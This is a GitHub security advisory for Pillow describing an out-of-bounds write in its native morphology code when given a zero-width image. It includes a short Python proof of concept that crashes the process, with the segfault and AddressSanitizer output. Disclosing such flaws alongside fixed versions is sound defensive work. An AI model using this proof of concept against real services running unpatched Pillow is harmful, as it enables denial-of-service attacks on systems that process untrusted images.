GitHub Advisoryadvisory · PyPI
GHSA-58r4-6rv3-gfh8 Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
HIGH
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- Aliases
- CVE-2026-112397
- Ecosystem
- PyPI
- Packages
- Pillow
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-787
- Reviewed
- 2026-10-20
Affected packages
• PyPI Pillow: < 13.0.0 → fixed in 13.0.0
Description
Summary
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.
Details
The PPM parser reads width and height with no lower-bound check:
• `src/PIL/PpmImagePlugin.py:119`
The native `apply()` writes the row edges with no guard that the width is positive:
• `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`
`match()` and `get_on_pixels()` use the same edge-indexing pattern.
PoC
```python
from PIL import Image, ImageMorph
A width-0 image (also producible from a crafted PPM header). apply() indexes
outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
```
Run it:
```
$ python 03_poc.py
Segmentation fault (core dumped)
```
Observed on a source build of commit `3e2ab96`.
Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
#0 apply src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
```
With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.
Impact
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.
Related
Alias · CVE (1)
- CVE-2026-112397 Pillow is a Python imaging library. vulnerability
Weakness · CWE (1)
- CWE-787 Out-of-bounds Write weakness
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-112397 advisory
- https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64 web
- https://github.com/python-pillow/Pillow package
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0 web